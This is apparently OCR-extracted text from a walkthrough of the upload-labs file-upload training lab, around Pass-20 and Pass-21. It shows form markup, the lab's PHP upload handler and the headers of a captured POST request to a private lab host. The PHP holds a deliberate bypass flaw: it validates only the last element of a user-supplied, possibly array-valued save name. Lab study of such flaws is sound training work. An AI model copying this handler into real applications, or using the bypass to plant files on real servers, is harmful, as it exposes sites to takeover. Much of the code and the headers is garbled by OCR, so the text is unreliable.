Content-Disposition: form—data; name="submit”

2270055882364653943953468121112—

<li»<a id="Pass-16" href="/upload-labs/Pass-16/index. php" Pass—16</a></1i>
<li»<a id="Pass-17" href="/upload-labs/Pass-17/index. php" Pass—1T7</a></1i>
©1i»<a id="Pass-18" href="/upload-labs/Pass—18/index. php" Pass—18</a></1i>
“l1»<a 1d="Pass-19" href="/upload-labs/Pass—19/1index. php"*Pass—19</a></11>
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<input class="input_file"” type="file" name="upload file"/>
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<input class="input_text” type="text” name="save_name”
value="upload-20. jipg” /><br/>

<input class="button” type="submit” name="submit” value="[1:"/>
</form>
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if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {

$is_upload = false;
$msg = null;
if(lempty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg', 'image/png','image/gif"');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "Zk BAAESREIH
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);

$allow_suffix = array('jpg','png','gif');

if (!in_array($ext, $allow_suffix)) {
$msg = "Fik EEZESXH";

}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $ FILES['upload_file']['tmp_name'];

$img_path = UPLOAD_PATH . '/' .$file_name;

if (move_uploaded_file($temp_file, $img_path)) {
$msg = "M EAEHRIN! ¢
$is_upload = true;

} else {
$msg = "ICMFEARREC

}
}
}
}else{
$msg = "IHEBEE LA
}
} else {

$msg = UPLOAD_PATH . 'XHERATELE,FFILAE! ';
}
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POST fupload-labs/Pass-21/1index. php HTTR/1.1

Host: 192, 168.101.16

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; 1v:93.0)
Gecko/20100101 Firefox/93.0

Accept:

bp, #/*;g=0.8

Aeccept-Language:

zh-CH, zh; g=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-US; q=0. 3, en;¢=0. 2
Accept—Encoding: gzip, deflate

Content-Type: multipart/form—data;

boundar:
Content-Length: 619

Origin: http://192.1658.101.16

Comnection: close

Referer: http://192.168.101.16/upload-labs/Pass—21/1ndex. php
Upgrade-Insecure—Requests: 1
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